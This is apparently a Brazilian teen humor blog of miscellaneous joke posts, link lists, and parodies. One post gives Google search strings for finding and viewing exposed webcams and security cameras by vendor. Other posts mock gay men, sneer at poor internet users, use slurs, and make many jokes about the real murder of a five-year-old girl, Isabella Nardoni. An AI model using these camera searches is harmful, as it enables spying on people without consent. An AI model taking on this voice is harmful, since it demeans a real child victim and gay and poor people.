As imagens falam por si.

Vamos vê se você é bom de concentração, fique olhando o rosto da moça sem perder a concentração e olhar para outro lugar xD


<-----LINK

"Rússia prepara lei para proibir emos no país
(23/07)

Uma nova lei pode acabar com a onda emo na Rússia. A legislação que está sendo preparada deve tornar ilegal o uso de roupas e acessórios emo nas escolas e prédios públicos do país e pretende controlar os websites ligados ao estilo.
Na base da formulação da lei está o medo das autoridades russas de que a moda atue como incentivo a um comportamento anti-social, à depressão e ao suicídio entre adolescentes. "Este é o primeiro passo para o debate público", declarou Alexander Grishunin, um dos nomes envolvidos neste projeto.
O texto da lei descreve emos como adolescentes de 12 a 16 anos que vestem roupas pretas e pink, cintos com peças de metal, pintam as unhas, têm piercings nas orelhas e sobrancelhas e cabelos pretos com franjas que cobrem metade do rosto.
O combate à onda emo, iniciado no Reino Unido, ganhou força há dois meses quando o casal inglês Heather e Raymond Bond culpou o estilo pelo suícidio de sua filha. A garota de 13 anos era fã de My Chemical Romance e se enforcou em seu quarto."

Fonte:http://igpop.ig.com.br/principal/2008/07/23/russia_prepara_lei_para_proibir_emos_no_pais_1465102.html

A notícia é velha, eu sei. Pra alguns essa é uma notícia boa (yay!!) pra alguns [emos] nem tanto.
Mas o fato é que começaram proibindo emos pq acham que isso é motivo pra suicídio.Daqui a pouco vão proibir você de ser patricinha pq incentiva o consumismo (na verdade o consumismo existe em todo lugar, mas anyway...).

Mas eu penso agora, "o que exatamente é ser emo?"Usar roupas pretas e maquiagem pesada?Ouvir My Chemical Romance e Blink? Chorar o tempo todo? Bem, se for assim eu sou emo.Uma emo não suicida, claro.

by máh
;*

- Telefonista: Pizza Hot, boa noite!

- Cliente: Boa noite, quero encomendar pizzas.

- Telefonista: Pode me dar o seu NIDN?

- Cliente: Sim, o meu número de identificação nacional é
6102-1993-8456-5463-2107.

- Telefonista: Obrigada, Sr.Lacerda. Seu endereço é Av. Paes de Barros, 1988, apto. 52B e o número de seu telefone é 5494-2366, certo? O telefone do seu escritório da Lincoln Seguros é o 5745-2302 e o seu celular é 9266-2566?

- Cliente: Como você conseguiu essas informações todas?

- Telefonista: Nós estamos ligados em rede ao Grande Sistema Central.

- Cliente: Ah, sim, é verdade! Eu queria encomendar duas pizzas, uma quatro queijos e outra calabresa.

- Telefonista: Talvez não seja uma boa idéia!

- Cliente: O quê?

- Telefonista: Consta na sua ficha médica que o Sr. sofre de hipertensão e tem a taxa de colesterol muito alta. Além disso, o seu seguro de vida proíbe categoricamente escolhas perigosas para a sua saúde.

- Cliente: É, você tem razão! O que você sugere?

- Telefonista: Por que o Sr. não experimenta a nossa pizza superlight, com tofu e rabanetes? Tenho certeza que o sr. vai adorar!

- Cliente: Como é que você sabe que vou adorar?

- Telefonista: O Sr. consultou o site 'Recettes Gourmandes au Soja' da Biblioteca Municipal, dia 15 de janeiro, às 14:27h, onde permaneceu ligado à rede durante 39 minutos. Daí a minha sugestão!

- Cliente: OK, está bem! Mande-me duas pizzas tamanho família!

- Telefonista: É a escolha certa para o sr., sua esposa e seus 4 filhos, pode ter certeza.

- Cliente: Quanto é?

- Telefonista: São R$ 49,99.

- Cliente: Você quer o número do meu cartão de crédito?

- Telefonista: Lamento, mas o sr. vai ter que pagar em dinheiro. O limite do seu cartão de crédito já foi ultrapassado.

- Cliente: Tudo bem, eu posso ir ao Multibanco sacar dinheiro antes que chegue a pizza.

- Telefonista: Duvido que consiga, o sr. está com o saldo negativo no banco.

- Cliente: Meta-se com a sua vida! Mande-me as pizzas que eu arranjo o dinheiro. Quando é que entregam?

- Telefonista: Estamos um pouco atrasados, serão entregues em 45 minutos. Se o sr. estiver com muita pressa pode vir buscá-las, se bem que transportar duas pizzas na moto não é aconselhável, além de ser perigoso.

- Cliente: Mas que história é essa, como é que você sabe que eu vou de moto?

- Telefonista: Peço desculpas, mas reparei aqui que o Sr. não pagou as últimas prestações do carro e ele foi penhorado. Mas a sua moto está paga, e então pensei que fosse utilizá-la.

- Cliente: @#%/§@&?#§/%#!!!

- Telefonista: Gostaria de pedir ao sr. para não me insultar. Não se esqueça de que o sr. já foi condenado em julho de 2006 por desacato em público a um Agente Regional.

- Cliente: (Silêncio).

- Telefonista: Mais alguma coisa?

- Cliente: Não, é só isso... não, espere... não se esqueça dos 2 litros de Coca-Cola que constam na promoção.

- Telefonista: Senhor, o regulamento da nossa promoção, conforme citado no artigo 095423/12, nos proíbe de vender bebidas com açúcar a pessoas diabéticas.

- Cliente: Aaaaaaaahhhhhhhh! Vou me atirar pela janela!

- Telefonista: E machucar o joelho? O sr. mora no térreo!

Testezinho velho que eu até tinha esquecido da existência, mas enfim.
Na verdade é sobre a pureza do beijo (não me perguntem).

Your Kissing Purity Score: 69% Pure

For you, kissing isn't a casual thing Lip to lip action makes your heart sing

http://www.blogthings.com/kissingpuritytest/


O meu deu 69% (número meio sugestivo hein?)

By máh
;*

LOL Quarto post meu hoje xD
Aqui vai um site com criador de placas de aviso,para você poder avisar o quanto é sexy igual a eu XD

Placas de Aviso

Tais afim de zuar com seus amigos sobre um futuro show que só você tem o ticket?
Intao tá aí!

Ticket Falso xD

Aí está o link de um site bem legal, onde você pode criar mensagens de erro bem legais.

Erro Message Generator

As estrelas do mar não têm cérebro......
(Um bom exemplo é o meu colega de classe, CC,GG,JAPA)

O orgasmo de um porco dura 30 minutos...
(O quê? 30 Minutos!PUTA QUE PARIU!)

Se você peidar constantemente durante 6 anos e 9 meses, terá produzido gás suficiente para criar a energia de uma bomba atômica...
(Uhu!Serei um futuro terrorista!!!rsrsrs)

Bater a sua cabeça contra a parede continuamente gasta em média 150 calorias por hora...
(Cassete, deve doer.AINDA NÃO CONSEGUI ESQUECER O PORCO)

O bagre tem mais de 27 000 papilas gustativas...
(O que pode haver de tão gostoso no fundo do rio?)

Pessoas destras vivem em média 9 anos mais do que as canhotas...
(HaHaHa, ainda bem que so destro,mas...e as ambidestras?)

Elefantes são os únicos animais que não conseguem pular...
(Os coitados mal se levantam, imagina pular ¬¬)

Alguns leões se acasalam até 50 vezes em um dia...
(Prefiro ser o porco, qualidade não quantidade XD)

Phython é a maior cobra, podendo chegar a 10 metros...
(A minha é maior XD)...
²(Vô dormir pensando nesse porco).

"Um homem com o apelido de "Humble Bob" devorou cinco quilos de espaguete picante em 10 minutos e foi o vencedor de um torneio de comida em Mason (Ohio). Bob Shoudt levou o prêmio de US$ 2.500"

fonte:http://g1.globo.com/Noticias/PlanetaBizarro/0,,MUL750041-6091,00.html

Agora eu me pergunto,você convidaria esse cara pra comer na sua casa?
Eu definitivamente não, pois após esvaziar sua dispensa (e sua geladeira) você ainda teria um monte de louça pra lavar.

Outra pergunta: quantos quilos será que esse cara pesa? 0.o

Eu tenho mania de falar "aawn, que coisa mais gaaaay" qdo vejo qualquer coisa excessivamente fofa, mas hoje eu vim postar coisas de gay, manias de gays, e frases de gays, especialmente para aqueles que não sabem pq todo mundo diz que é gay. (lol , 5 "gays" até agora)

Frases e palavras:
."Ui!"
."Essa caneta felpuda é o must"
." Queridaa" (a não ser que esteja se referindo a namorada)
."Chocrível" (a não ser que você seja uma estrela pop ;D)
.Nome de qualquer um no diminutivo
."Awn...que cute!"
."Ameei"
."é pop"
."chuchu"
."eu fico sexy assim?"

Ações:
.rebolar qdo anda (peloamordedeus né?)
.ouvir "It's raining man"
.bater palminhas qdo alguém fala algo bom
.fazer biquinho qdo alguém fala algo ruim
.usar saia (certo Chú? XD)
.usar calça justa
.fazer luzes no cabelo
.dar gritinhos histéricos
.Brincar de sanduíche com os amigos (meio suspeito né? )

Manias:
.Misturar inglês com português quando fala
.ficar tirando cutícula
.dar dois beijinhos em todo mundo que vê

E só, se você faz ou diz mais que três coisas dessa lista, você é gay querido ;D

by máh
;*

P.S. Não reclamem do meu post ¬¬

(Acima,um classico exemplo de chefão)
-Ter a vida absurdamente maior que a do protagonista
-Rir dos seus inimigos
-Ter uma música tema diferente da música que estiver tocando
-Ter a mais alta e maléfica risada do jogo
-Falar firme e grosso
-Ser capaz de derrotar qualquer apelão
-Ser apelão
-Ter os poderes mais legais e mortíferos
-Ter sempre um ou dois capangas também altos e chatos de derrotar
-Parecer ser invencível
-Sempre subestimar o adversário
-Promover a irritação, os xingamentos, a porrada no controle e o game over... nessa ordem
-Capas são bem vindas
-Ter 2 biscates particulares
-Parecer que morre pelo menos umas duas ou três vezes
-Mudar de forma, estilo bem feio e quase invunerável
-Aparecer no começo do jogo e te humilhar, para saber o que vai enfrentar no final
-Ficar mais forte a cada jogo da serie (se o jogo não for uma serie, a possibilidade de você sobreviver enfrentando-o pela primeira vez é de 1 em 1000000000000000000000000000000000000000000000000000000000, se você estiver com sorte e tempo pra isso)
-Matar seus próprios companheiros, após você o derrotar e poupar a sua vida (coisa de Herói EMO)
-Adotar um nome bem esquisito como M.Bison, Ganondorf, Shao Kahn, Shang Tsung, Saga, Robotnik, Bowser, Igniz, Rugal, Chuck Norris...
-Esperar você tirar 99% da vida dele e lançar um ultra-super-mega ataque e te matar mesmo que sua vida esteja cheia..
-Sua força ser indiretamente proporcional a sua vida(Quanto mais o Chefão apanha, mais forte ele fica).
-Em um rpg,sempre que o hp do chefão chegar ao fim,e você estiver pensando "Ufa,até que enfim"Ele
vai beber algum tipo de poção,ou usar algum tipo de magia que renove um porrilhão de seu hp.É comum o usuário socar o teclado,e proferfir milhares de xingamentos depois deste tipo de acontecimento.
-Um chefão precisa ser sarcástico e irônico.Frases como "Até que enfim nos encontramos de novo!"Também são bem vindas.

Bom,estes são os meus requisitos minimos para ser um chefão.Aproveitem.

Bem como vcs sabem, eu sou um unutil sem nda pra fazer, intão entrem nesse MMO e fiquem horas sem fazer absolutamente MERDA nenhuma!

Play SwitchIn 3D MMO!
uhsahusauhas

Update by máh
viciante!
O único problema são o bando de pirralhos Hentai (hentai=pervertidos e coisas do gênero).
Menininha de 10 anos com o nick "me come" e menininho com o apelido "o pegador" ¬¬.

Coisas "a mais" na pesquisa de imagens:

Eu sei que você já andou pesquisando "coisas" no Google Images.
Acontece é pusque o Google tem um bloqueador de Conteúdo Adulto.
Se você quer desbloquear esse "filtrador", va em:
-www.google.com.br
-Preferências
-Desça até o final da página, e procure por "SafeSearch", escolha uma das outras duas opções, e PRONTO.
-Só lembrando para quando acabar fazer o que, eu não sei, nem me conte, coloque na opção original.

Entrando em algumas Webcams e Cameras de segurança pelo Google:

É tão fácil quanto parece, somente va no site do Google, cole no campo de pesquisa o seguinte :
inurl:/view/index.shtml

E pronto, você terá acesso a muitas cameras ;D

Em breve estarei postando mais sobre o assunto...

Atualizado:Dá também com otros tipos de pesquisa, e com especifios tipos de cameras. vejam:

Para:

Cameras Axis

• /view/view.shtml axis
• "adding live video to one of your own pages a very easy task with an AXIS 2100 Network Camera"
• "Your browser has JavaScript turned off.For the user interface to work effectively"
• indexFrame.html axis
• "Live web imaging unleashed"

Cameras Canon

• sample/LvAppl/

Cameras MOBOTIX

• control/userimage.html

Cameras JVC

• "(c)copyright 1999-2003 VICTOR COMPANY OF JAPAN, LIMITED. All rights reserved"
• "V.Networks [Motion Picture(Java)"
• "Control the Pan/Tilt and move to the Preset Position"

Cameras FlexWatch

• /app/idxas.html
• "Saving & Retrieving Mode"

Cameras Panasonic

• /ViewerFrame?Mode=Motion

Cameras Toshiba

• "TOSHIBA Network Camera - User Login"

Cameras Sony

• /home/homeJ.html

Cameras WebcamXP Software

• "my webcamXP server!"

Uuhh I like It baby 8)

Ok, mas um site inútil. Se você se acha sexy, veja se seu nome é sexy (não faz sentido, eu sei).
Aquii: http://www.wishafriend.com/pf/sn/
Bem, o Danz que achou o link mas ele ficou com vergonha de postar. Eu acho que não devia estar dizendo isso mas e daí?

Danz:Vai se ferrar, mintirosa!xD

by máh
;*

Eu tava fuçando na net, porque as minhas provas acabaram, & sou inutil mesmo!UHU =P
Achei intão um site para você criar seu próprio livrinho para "Idiotas" e poderá mandar para seus amigos, mas via HTML, o site te da um codigozinho que você cola no seu orkut, blog, myspace, site...etc.Bem... mãos a obra xD (só para acrescentar, coloquei um MP3 PLAYER no blog, se você tem a net meio lerda não consiguirá ouvir muito bem).

O site é esse: http://www.wishafriend.com/pf/dummies/

By Danz

É coisa pra caramba!(e totalmente nonsense).O album ganhou os premios de melhor album do ano e melhor album de Rap no Grammy Awards de 2004 .
É isso por agora meus amigos.Bom proveito e paz.

How To Be A Ninja:



How To Be a Gangasta:



How To Be a Emo:



How To Be a Nerd:



Nija Glare:



iPod Human:

Para os mofadores de plantão, aqui quem fala é o novo contribuidor do blog,Dj LT.




Para os grandes fans de filmes de corrida,ai vai uma ótima notícia.
Em breve presenciaremos o lançamento do mais esperado filme de corrida dos últimos tempos:
Velozes e Furiozos 4-London Pursuit(Perseguiçaõ em Londres).
O filme é uma grande produção,de volta com os dois personagens originais,Brian e Toreto,além do non-sense do Roman Pearce.
Para os meus companheiros do mundo do Rap,o filme contará com Gangsters como
Lil' Waine,T.I.,Xzibit entre outros.

Esse meu grande amigo estará postando tudo sobre o mundo dos Gangstas, Hip Hop's, Rappers... enfim, como eu disse no meu post anterior, caras que andam com camisas que parecem saias, carros fuderosos, gostosas e com jóias até na bunda.Aproveite Non Sense Person n°3!Intão sem mais de longas...
Bem Vindo ao Non Sense irmão ;D

Eu sou contra =D

Pense bem, quando você abre seu orkut e vê uma adição pendente, a primeira coisa que você faz é ficar animado (ou não,sei lá) então eis que você vê o nome de quem te adicionou : "Kléber negão é nóis", " Lilika racionais" ou qualquer coisa do gênero.

Você pensa: "Putz, será que eu conheço?" aí vai lá com sua setinha e clica no perfil do ser(lol, me superei na idiotice).


Ao abrir o perfil tem lá um típico "quem sou eu" copiado e colado".Você chega a conclusão de que não conhece essa pessoa, mas já que já tá fuçando mesmo resolve continuar. Vai lá pro álbum. No caso do perfil ser de um homem é isso que você encontra:
.foto dos manos;
.foto das minas;
.fotos dele mesmo com legendas como: "nossa que corpo" (que corpo de galinha, só se for)

No caso de ser de uma garota você encontra:
.fotos dela com as minas (ou migas, vária da situação);
.foto com os manos;
.fotos do último baile funk;
.foto dela se achando gostosa seminua no puxadinho;


Aí você percebe pelas fotos que essa pessoa não tem as mesmas condições financeiras que você (pra não falar pobre).

Esse é um dos motivos pelo qual eu sou contra a inclusão digital: povo sem noção (mas um outro nível de nonsensidade) no orkut.

by máh
;*

A tiazona em questão é a Madonna, que durante seu show em Lisboa, após dar uma esfregadinha básica bem safada numa guitarra, caiu com toda sua ossada no chão.

Já que eu tô tendo problemas pra postar imagem e vídeo, o link tá aqui : http://www.youtube.com/watch?v=jNUUaA8dXLk

Ah! E bem vindo ao nosso novo autor...e tipo assim...Dj LT? Que raios de apelido é esse?
Tá em fase de teste tio, não vai fazer merda.
*falando isso pra ver se ele posta alguma coisa útil*

Bem, eu tô muito ocupada tentando tirar esse blog do meio dos rappers, gangstars e etc e tentando deixar ele um pouco mais gay.

By máh
;*

Os caras aparecem em clipes com diamentes no dente, no pescoço, na mão e nas orelhas, se
brincar devem ter até na bunda.Andam com Hammers Limousines, Carros com rodas de 21' com diamantes, com um monte de gostosas e se acham os bons.Some isso tudo e dará um Rapper.

Aqui vai a lista dos Reppers mais ricos do mundo, de acordo com a revista americana Forbes, pelo os discos lançados ano passado:

01. 50 Cent - 150 milhões de dólares

02. Jay-Z - 82 milhões de dólares

03. P Diddy - 35 milhões de dólares

04. Kanye West - 30 milhões de dólares

05. Timbaland - 22 milhões de dólares

06. Pharrell Williams - 20 milhões de dólares

07. Swizz Beatz - 17 milhões de dólares

08. Snoop Dogg - 16 milhões de dólares

09. Dr. Dre - 15 milhões de dólares

10. Ludacris - 14 milhões de dólares

11. T.I. & Lil Wayne - 13 milhões [Tie]

12. Eminem, Akon & Common - 14 milhões [empatados]

13. Jermaine Dupri & Lil Jon - $13 milhões [empatados]

14. Outkast, The Game & Chamillionaire - 10 milhões [empatados]

Qualquer pessoa que visite blogs decentes, já deve ter visto essa por aí.

Fonte: http://www.dormiu.com.br/humor/as-20-frases-mais-ditas-antes-de-morrer-2314/

01. Atira se for homem. (homem faz de tudo pra provar que é macho tsc,tsc...)
02. Atravessa correndo que dá. (eu já disse isso =D)
03. Ah, não se preocupe, o que não mata, engorda. (já disse isso tbm )
04. Fica tranqüilo que este alicate é isolado.
05. Sabe qual a chance de isso acontecer? Uma em um milhão. (eu já ouvi essa...)
06. Essa camisa do Palmeiras não é minha não….eu sou corintiano como vocês. (rachando de rir)
07. Adoro essas ruas pois são super tranqüilas.
08. Tem certeza que não tem perigo? (já perguntei essa)
09. Nem acredito que vou saltar de pára-quedas! E, ó, eu mesmo que dobrei!
10. Aqui é o PT-965 decolando em seu primeiro vôo solo.
11. Confie em mim! (eu vivo dizendo isso XD)
12. Aqui é o piloto. Vamos passar por uma ligeira turbulência.
13. Capacete? Imagina, tá calor.
14. Eu sempre mudei a temperatura do chuveiro com ele ligado… (eu faço isso até hoje XD)
15. Deixa comigo. (eu nunca disse isso)
16. Desce desse ônibus e me encara de frente, sua bicha! (pois é...depois a bichona te mata XD)
17. Você é grande mas não é dois! (mas vale por 3)
18. Kung-Fu nada. Eu vou acabar com você.
19. Vamos lá que não tem erro.
20. Pode mexer. É Pitbull, mas é mansinho. (quantas vezes eu já não ouvi...)

by máh
;*

Que é post inútil não há dúvidas pois todos são.

Post com alguns link bem gaaays*
Enfim, sites pra fazer avatar:

*Simpsons

.http://www.simpsonsmovie.com/main.html

.http://www.andkon.com/arcade/other/simpsonmaker/

.http://simpsonizeme.com/

*South Park

.http://www.sp-studio.de/

.http://www.southparkstudios.com/fans/avatar/

*Mii

.http://www.joystiq.com/media/2006/10/mii.swf

*Lego

.http://www.reasonablyclever.com/mm2/index.htm

.http://www.reasonablyclever.com/mini/index.htm

*Meninas super poderosas (esse é feinho/chatinho)

.http://www.creativeadornments.com/nephco/powerpuffgirls/ppps.html

*Wee

.http://www.weeworld.com/

*Yahoo

.http://br.avatars.yahoo.com/

*BuscaMessenger

.http://www.buscarmessenger.com/avatars.swf

*PortraitMail (vc envia a foto por email e recebe o avie em seguida.Não dá pra customizar.)

.http://www.portraitmail.com/

*Anime

.http://gen8hedgehog.deviantart.com/art/Anime-Face-Maker-v1-0-75897890

.faceyourmanga.com

.http://illustmaker.abi-station.com/index_en.shtml

.http://www.moeruavatar.com/index_en.shtml

.abi-station.com/iconmaker/

*Heróis

.http://www.ugo.com/channels/comics/heromachine2/heroMachine2.asp

.abi-station.com/iconmaker/


Post sem imagens, pq se não ia ficar, mega, blaster enorme.

by Máh
;*

P.S. Danz, babe na minha habilidade de postar links XD

Uptaded by Danz
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Danz
P.S.(2) Babo não!Inveja mata, meus posts são mais idiotas do que o seus, não seja ciumenta XD

Essa é a frase que aparece no site. O The Death Clock é meio antigo, mas ainda tem gente que nunca viu.
É muito simples (e óbvio), ele mostra quando você vai morrer com direito até a contagem regressiva.

O link: http://www.deathclock.com/index.cfm

E vocês, quando vão morrer?

Uptaded by Danz*

Post de EMO !

Update by Máh

Sabia que não devia ter te ensinado a mudar a cor da letra (inútil que não sabia)...sabia que você ia colocar um update dizendo que é coisa de emo.Você só faz isso pq não quer admitir que tem seu lado emo né?

Just kidding.

*Máh se preparando pra levar um tapa*

Você pergunta, "Quem é o Seu Lunga?"



É esse aqui seu BURRO! huashusauhsa tô brincando.

Eu respondo
Seu Lunga é um velho comerciante, cearense de Juazeiro do Norte, grosso que só ele, ele só sabe responder as coisas com a delicadeza de uma parede de concreto frio.Esse cabra (seu ignorante se você não sabe o que é cabra você é um sem cultura-nordestina xD )
DIVIRTAM-SE!Eu realmente admiro esse cara, ele consegue responder tão grosseiramente em um piscar de olhos, faz qualquer um ficar calado em seu canto.USHUhauhaush

Ele é ignorante com todos, aí vai algumas coisas q ela ja disse.

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Seu Lunga vai a farmácia, e o farmaceutico fala:
-Seu Lunga, você por aqui?Tais doente é?
Seu Lunga:
-Não eu vim a farmácia porque tô explodindo de saúde.

_____________________________________________________

Seu Lunga estava passeando na calçada com o cachorrinho. E lhe perguntam:
- Passeando com o cachorrinho Seu Lunga???
E Seu Lunga respondeu - Não. É meu passarinho - pegando o pobre podle pela coleira e
fazendo ele sair do chão.
____________________________________________________

Seu Lunga entrando em uma loja:
- Tem veneno pra rato?
- Tem! Vai levar? - Pergunta o balconista.
- Não, vou trazer os ratos pra comer aqui!!! - responde seu Lunga.

____________________________________________________

O Seu Lunga estava em casa e resolveu tomar um café:
- Mulher! Traz um café!
A sua mulher pergunta com a maior delicadeza:
- É pra trazer na chicara?Ou copo?
Seu Lunga como sempre bota pra ferrar com a patroa:
- NÃO! JOGA NO CHÃO E TRAZ COM O RODO!

___________________________________________________

Seu Lunga dirigia seu carro tranquilamente por uma estrada isolada,quando um dos pneus estorou.Muito tranquilamente, ele desceu do carro, foi ao porta-malas, e constatou que ele não trouxera um macaco consigo.De repente, ele vê um motorista, e muito educadamente pergunta:
- Ei viado, sabe onde eu acho a porra de um macaco?
- Lá naquela casa,lá longe - aponta o cidadão, encatado com tamanha educação.- Mas cuidado com aquele cara, ele é muito ignorante.
- Tem problema não caralho, se ele for ignorante, eu sou mais do que ele! - responde então Seu Lunga

Depois de andar mais de 25km debaixo do sol quente do interior do Ceará, Seu Lunga finalmente chega à tal casa.Seu Lunga bateu na porta, com a mesma delicadeza que se bate em gay.Então, um homem abriu a porta e gritou:

- PUTA QUE PARIU!!!!!!O que é que você quer, caralho!?!?!?!?!


- Pega a porra do macaco e soque no cu da sua mãe,fela da puta!!!!!!!

_____________________________________________________


Seu Lunga vinha chegando em sua casa com 1 litro de leite, quando uma pessoa pergutou:
-Seu lunga, vai tomar um leitinho?
-Não, é pra lavar a calçada.
SHUAH!!!
Seu Lunga pega o leite e taca na calçada.

_____________________________________________________


Seu Lunga estava no mercado com uma caixa de ovos. Daí perguntaram a ele:
-Comprando ovos Seu Lunga?
Dai Seu Lunga responde - Não - jogando um por um no chão - É traque de massa!!!(Biribinha, estalhinho, "qualquer merda que você joga no chão e faiz PÁ")

_____________________________________________________


Um sujeito até a loja do Seu Lunga e pediu uma porca de determinado tamanho, seu Lunga respondeu:
- Procure naquela caixa.
E o sujeito começou a procurar e no meio de tantas peças nada de ele conseguir achar a porca que ele queria, então exausto falou para Seu Lunga:
- Seu Lunga, não consegui achar a porca...
Indignado, Seu Lunga foi até a caixa, procurou a tal porca e a achou, então virou-se para o rapaz e respondeu:
- Eu não te disse que a porca tava aqui fi duma égua!!! - e jogando a porca novamente na caixa e misturando com as outras peças diz - agora procura de novo direito que você acha!!!

_____________________________________________________

Tendo chegado na cidade, para se estabelecer como borracheiro, um novo habitante, e, exatamente na rua do Seu Lunga (onde ele mora, claro), o povo logo começou com o falatório. Não demorou muito, foram dizer para o Seu Lunga, que tinha chegado na cidade um cabra mais "ignorante" (*) do que ele.

Seu Lunga ficou louco. Não pode! Aqui o maior sou eu! Mas, tudo bem disse Seu Lunga, eu vou até mesmo precisar de um macaco para trocar o pneu do caminhão e o sujeito pode me emprestar.

O homem, por coincidência, se aproximava e quando já estava na calçada do Seu Lunga, este, aos gritos, disparou:

- Eu não preciso do seu macaco! E pode ir saindo da minha calçada!

_____________________________________________________


Seu Lunga estava pescando quando um matuto (idiota, um JAPANESE) chega perto, fazendo barulho, espantando os peixes e ainda por cima com perguntas estupidas.
-Tá pescando Seu Lunga?
O Rei do Mau Humor responde sem pestanejar.
-Não abestado! Não está vendo que estou só ensinando a minhoca a nadar!.

_____________________________________________________


Seu Lunga estava voltando da pescaria com o balde cheio de peixes, quando passou perto de uma conhecida, que perguntou:
-O senhor pegou todos esses peixes, Seu Lunga?
Seu Lunga:
-Não, esses aí são peixes suicidas, não podem ver um balde que vão se jogando dentro.

____________________________________________________

Seu Lunga estava na rua comendo um pão, quando alguém passa e comenta:
-Seu Lunga, comendo pão na rua...
E Seu Lunga responde:
-Tenho que alugar um quarto pra comer um pão?

_____________________________________________________


husauhsahsau, lembrando que essa cara é real, tão falando que ele foi indicado para o Livro dos Recordes (The Guiness Book) como o homem mais ignorante.
EU NÃO DUVIDO NADA!SPOKpkaopKSOPkapok

Abraços,
Danz*

Estava funfanfo aqui na net e encontrei um mini dicionário virtual de babaquices aqui vão alguns tópicos que eu achei:

Puta Merda

Puta Merda e.k.c.t. Latim: Putta mierdium; Inglês: Bitch shit, whore shit, hooker shit.

É um das mais brilhantes locuções adjetivas da lingua portuguesa. É tão universal quanto "trem", "coisa", "treco", "negócio" e seus verbos derivados. É usado de norte a sul deste país nos mais diversos ramos
[editar] Usos

* No meio científico, pode significar:
o Eureka!
o Fiz cagada
* No meio automobilistico: é a alça que os caronas se penduram perto da porta. Essa peça foi assim chamado por causa das freiadas bruscas em que o carona se apoiava na alça do teto e dizia: Puta merda!
* Financeiro:
o Puta Merda! (Caro pá caralho)
o Puta Merda! (compra que é uma barbada)
* Social
o Puta Merda, Argentino filho da puta roubou minha carteira
o Ao se machucar: Puta! Merda! Quebrei a unha!
o Ao se machucar: puta merda, quebrei a unha!
o Em relacionamentos casuais: Puta (de) merda, tu não vales nem 10 pila!
o Em relacionamentos: Puta merda!!! Que mulher gostosa!
* Minas Gerais
o Puta merda, coisei um trem: Para os mineiros, isso tem um significado completo. Tão completo que dá para fazer um diálogo completo; veja: cerveja, ou skol

*
o Puta merda, coisei um trem!
o U quê? Tu coisou aquilo?
o Ahn rã! Coisei sim!
o Puta merda!

* Na internet
o Um site, [www.putamerda.com.br] ( eu conferi é verdade)

* No carro:
o Lugarzinho de bota a mão.

Nardoni

Nardoni, do Latim "nardonis malicious" vem sendo usado comumente em várias ocasiões. A grande tragédia ocorrida em 2008 onde uma criança (Isabella de Oliveira Nardoni) de 5 anos foi defenestrada pelo seu pai (Alexandre Nardoni) após ser violentada por sua madrastra (Anna Carolina Jatobá). A trágédia fez com que a população de favelados, desocupados, catarrentos com senso de justiça se reunisse. Milhares de empregadas, porteiros e vendedores de bala se reuniram na porta das delegacias e emissoras de TV pra mostrar que não se conformam com essa crueldade. Mas sim eles conformam com as crianças da Favela morrendo com tiros, espancamentos e materradas. Favelado ninguem liga mesmo. Nem os favelados. O termo Nardoni (sobrenome do autor do crime) virou adjetivo de ato ou ação idiota e desumana.
Tabela de conteúdo


* 1 Termos Comuns
* 2 Conjugações Verbais
* 3 Nardóticos
* 4 Nardofrases


Nardonagem: Ação explicita não premeditada e idiota Ex: Jogar uma garrafa de vodka pela janela do carro.

Nardonando: , normalmente se paga uma quantia Ínfima pelo mesmo.

Nardoni shot : Ação espontenea e explpicita no qual o individuo que sofre de Nardonisse de posse de uma MQAC fabricado na Nardonia atira algo pela janela.

Nardonado: O individuo que foi atirado pela janela por Nardoni.

Conjugações Verbais

Eu Nardono

Tu Nardonas

Ele Nardona

Nós Nardonamos

Vós Nardonais (o ignorante que tinha escrito isso escreveu VOIS, burraldo que nem sei)

Eles Nardonam

Drogas que geralmente são usadas para entrar no estado de Nardonagem:

Benflogim

Chá de Nozes

Vodka Polask

Cerveja Cristal

Buzina Paralizadora

Fluido de Isqueiro

Chá de Cogumelos

Chá Mate

Gatinhos sem o selo do Inmetro

Nardonal 50mg

Pilhas Rafaélicas

Nardofrases

São frases/piadas idiotas envolvendo a tragédia.

Disse Alexandre para sua filha: Quem é o aviaozinho do papai?...

Alexandre vai toma no Cu, a Isabella não tomou Red Bull

Sabe oque se joga deitado e cai em pé? A Isabella!

O que cai da rede e não é peixe? Isabella

Alô... Isabella... Tu Tu Tu... Putz caiu de novo!

Sabe qual foi a ultima refeição da Isabella? Sanduiche de Aaaatummmmmm

OQ É OQ É ENTRA PELA PORTA E SAI PELA JANELA?ISABELA NARDONI

Papai. eu so um pinguiinnn mas pinguin naum vvvvvvvvoooooooooaaaaaaaaa

Sabe pq a Isabella ficou sem Internet? Pq o pai dela cortou a rede

My dream is to fly Over the rainbow so high... ...

O temis de calcinha é uma bixinha... O temis na gaiola é um boiola..."

Eu recomendo esse site, muito bom http://desciclo.pedia.ws/wiki/ (obs: vou dexar sem link porque já estou ficando puto, essa jossa de link não pega).

Update by Máh
Já que esse ser aí não consegue colocar link e esqueceu que não dá pra copiar nossos posts, o link pra vocês: http://desciclo.pedia.ws/wiki/P%C3%A1gina_principal

O título já diz tudo né?

ABREVIATURA - ato de se abrir um carro de policia;

ALOPATIA - dar um telefonema para a tia;

BARBICHA - boteco para Gays;

CÁLICE - ordem para ficar calado;

CAMINHÃO - estrada muito grande;

CATÁLOGO - ato de se apanhar coisas rapidamente;

COMBUSTÃO - mulher com peito grande;

DESTILADO - aquilo que não está do lado de lá;

DETERGENTE - ato de prender indivíduos suspeitos;

DETERMINA - prender uma garota;

ESFERA - animal feroz amansado;

HOMOSSEXUAL - Sabão utilizado para lavar as partes íntimas;

LEILÃO - Leila com mais de 2 metros de altura;

KARMA - expressão mineira para evitar o pânico;

LOCADORA - uma mulher maluca de nome Dora;

NOVAMENTE - diz-se de indivíduos que renovam sua maneira de pensar;

OBSCURO - 'OB' na cor preta;

QUARTZO - partze ou aposentzo de um apartamentzo;

RAZÃO - lago muito extenso porém pouco profundo;

RODAPÉ - aquele que tinha carro mas agora roda a pé;

SAARA - muulher do Jaaco;

SEXÓLOGO - sexo apressado;

SIMPATIA - concordando com a irmã da mãe;

SOSSEGA - mulher desprovida de visão;

TALENTO - característica de alguma coisa devagar;

TÍPICA - o que o mosquito te faz;

UNÇÃO - erro de concordância muito frequente (o correto seria um é);

VATAPÁ - ordem dada por prefeito de cidade esburacada;

VIDENTE - dentista falando sobre seu trabalho;

VIÚVA - ato de ver a uva;

VOLÁTIL - sobrinho avisando onde vai.

Obs:Só queria deixar claro que não tenho nada contra as loiras, mas piada é piada, intão que se dane.
Flw

